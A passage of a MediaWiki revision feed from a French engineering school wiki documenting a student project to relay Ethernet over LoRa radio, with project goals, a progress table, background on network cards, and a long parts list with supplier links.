[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Enc28j60.png&amp;diff=39066</id>
		<title>Fichier:Enc28j60.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Enc28j60.png&amp;diff=39066"/>
				<updated>2017-02-14T12:14:02Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39065</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39065"/>
				<updated>2017-02-14T12:13:46Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Ethernet Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=0.75|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
